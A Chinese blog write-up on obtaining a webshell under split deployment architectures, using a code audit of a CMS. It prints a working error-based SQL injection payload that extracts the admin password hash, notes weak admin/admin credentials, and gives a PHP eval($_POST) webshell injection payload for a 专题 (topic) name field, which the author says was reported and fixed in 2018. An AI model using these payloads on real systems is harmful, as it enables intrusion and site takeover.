新的部署架构之下,如何拿shell?
和朋友聊起一个话题,服务器部署架构升级对安全的影响。从最简单的一台服务器,到应用、数据库、文件服务器分离;从本地机房服务器到云服务器产品矩阵;从虚拟化到容器化部署,一直在往更安全的方向改变。
本文试图构建这样场景,源码放在ECS,数据库放RDS,非结构化数据存储放HDFS。常规的getshell手段,如SQL注入写入文件,任意文件上传,文件包含等似乎已不再好使。这种情况,如何突破系统的部署架构,来获取网站的webshell呢?
实战思路:黑盒渗透测试+白盒代码审计
在进行信息收集的时候,找到网站管理后台,查看登录界面网页源代码,获知该系统可能由某CMS二次开发。进一步下载开源CMS源代码进行代码审计,从前台sql注入到后台getshell。
某CMS演示站点漏洞利用过程:
1、利用前台SQL注入漏洞,搜索处填入Pyload:
keyword=1%' or (select 1 from (select count(),concat((concat(0x5e5e21,(select concat(0x7c,password,0x7c) from xxxxx_user where uid=1),0x215e5e)),floor(rand(0)2))x from information_schema.tables group by x)a)#

将md5值:21232f297a57a5a743894a0e4a801fc3 解密为admin
使用弱口令admin/admin成功登陆后台。
2、 登陆后台,在Home设置—专题管理—创建专题—专题名称处填写Payload:test111',eval($_POST[g]),//

3、访问webshell地址:

PS:本文所引用案例,安全漏洞于2018.11提交官方,目前已修复。
技术架构上的升级,它可以很大程度地降低一些安全风险,黑盒渗透的漏洞利用难度无疑会增大。目前,比较流行的微服务架构,会有越来越多的系统使用场景,而这也是一个很大的挑战,你以为你拿到了整个系统的权限,其实你触及的可能是系统中的某个服务。
很喜欢这样一句话,简短有启发:细节中发现漏洞,架构上解决问题,流程中控制风险。
新的部署架构之下,如何拿shell?的更多相关文章
- FileNet P8 Content Engine 的分布式部署架构
摘抄笔记:http://www.ibm.com/developerworks/cn/data/library/techarticle/dm-1307wanghaining/ 前言 对于集团公司,企业内 ...
- 分布式实时日志分析解决方案ELK部署架构
一.概述 ELK 已经成为目前最流行的集中式日志解决方案,它主要是由Beats.Logstash.Elasticsearch.Kibana等组件组成,来共同完成实时日志的收集,存储,展示等一站式的解决 ...
- 【入门】广电行业DNS、DHCP解决方案详解(三)——DNS部署架构及案
[入门]广电行业DNS.DHCP解决方案详解(三)——DNS部署架构及案 DNS系统部署架构 宽带业务DNS架构 互动业务DNS架构 案例介绍 案例一 案例二 本篇我们将先介绍DNS系统部署架构体系, ...
- 【JMicro】微服务部署架构及实例
序言 JMicro是一个用Java语言实现的开源微服务全家桶,源码地址:https://github.com/mynewworldyyl/jmicro,Demo地址:http://124.70.152 ...
- IIS负载均衡-Application Request Route详解第四篇:使用ARR实现三层部署架构(转载)
IIS负载均衡-Application Request Route详解第四篇:使用ARR实现三层部署架构 系列文章链接: IIS负载均衡-Application Request Route详解第一篇: ...
- Azure环境中Nginx高可用性和部署架构设计
前几篇文章介绍了Nginx的应用.动态路由.配置.在实际生产环境部署时,我们需要同时考虑Nginx的高可用性和部署架构. Nginx自身不支持集群以保证自身的高可用性,商业版本的Nginx+推荐: T ...
- Nginx技术研究系列7-Azure环境中Nginx高可用性和部署架构设计
前几篇文章介绍了Nginx的应用.动态路由.配置.在实际生产环境部署时,我们需要同时考虑Nginx的高可用性和部署架构. Nginx自身不支持集群以保证自身的高可用性,商业版本的Nginx+推荐: T ...
- [转帖]VMware Vsphere 6.0安装部署 (一) 总体部署架构
(一)总体部署架构本教程用于学习目的,力求详尽的介绍安装部署过程和各组件之间的关系,部署过程从最简单的模型开始,系列文章按时间顺序依次展开,每篇介绍一个组件. 开始阶段,按照一台物理服务器,部署所有V ...
- 免费开源《OdooERP系统部署架构指南》试读:第一章 Odoo架构概述
文/开源智造联合创始人老杨 本文来自<OdooERP系统部署架构指南>的试读章节.书籍尚未出版,请勿转载.欢迎您反馈阅读意见. 从web浏览器到PostgreSQL,多层与其他层交互以处理 ...
随机推荐
- Android四大组件:BroadcastReceiver 介绍
介绍 BroadcastReceiver 即广播组件,是 Android 的四大组件之一.用于监听和接收广播消息,并做出响应.有以下一些应用: 不同组件之间的通信(应用内或不同应用之间). 多线程之间 ...
- centos7 apache 配置ssl
因为小程序后台服务器需要是https的,所以这两天赶紧百度了一波什么是https以及怎么将服务器升级为https.虽然网上教程很多但因具体环境可能有差异导致一路遇坑,摸爬滚打了两天终于弄好了.遂记下一 ...
- eclipse springboot工程打war包方法及在Tomcat中运行的方法
一, eclipse springboot打war包 1. 配置pom.xml文件 <packaging>war</packaging> <!-- 配置servlet,打 ...
- Delphi-基础(运算符)
一.运算符 1.变量 2.运算符** 3.表达式 1.变量 变量解释:编程中最小的存储单元(空间),它的空间大小由它在声明时的数据类型决定. 1.1.声明 : 定义一个变量,告诉Delphi一个名字的 ...
- Nginx类
nginx常见错误页面有哪些?对于其解决方法是什么? 404 bad request 请求失败,请求所希望得到的资源未被在服务器上发现.没有信息能够告诉用户这个状况到底是暂时的还是永久的.假如服务器知 ...
- 201871010112-梁丽珍《面向对象程序设计(java)》第十一周学习总结
项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.com/nwnu-daizh/p ...
- 201871010106-丁宣元 《面向对象程序设计(java)》第七周学习总结
201871010106-丁宣元 <面向对象程序设计(java)>第七周学习总结 正文开头: 项目 内容 这个作业属于哪个课程 https://home.cnblogs.com/u/nwn ...
- python3汉诺塔简单实现代码
小时候喜欢玩汉诺塔,今天用python实现简单的汉诺塔功能 代码: def hannoi(n,x,y,z): if n==1: print(x,'-->',z) else: hannoi(n-1 ...
- day34_8_16 MySQL数据库一
一.数据库概念 在没有数据库时,编写项目都是使用db模拟数据库.将文件以列表或字典等存入文件夹. 但是,不同的程序员存放数据的方式都是各不相同的,而且摆放的位置都是不一样的. 如何同一数据格式,和如何 ...
- Shell编程——位置参数变量
1. (1)创建Shell脚本: (2)赋予执行权限: (3)执行Shell脚本: (4)对脚本赋值后执行脚本: $n:n为数字,$0代表命令本身,$1-9代表第一到第九个参数,十以上的参数用大括号包 ...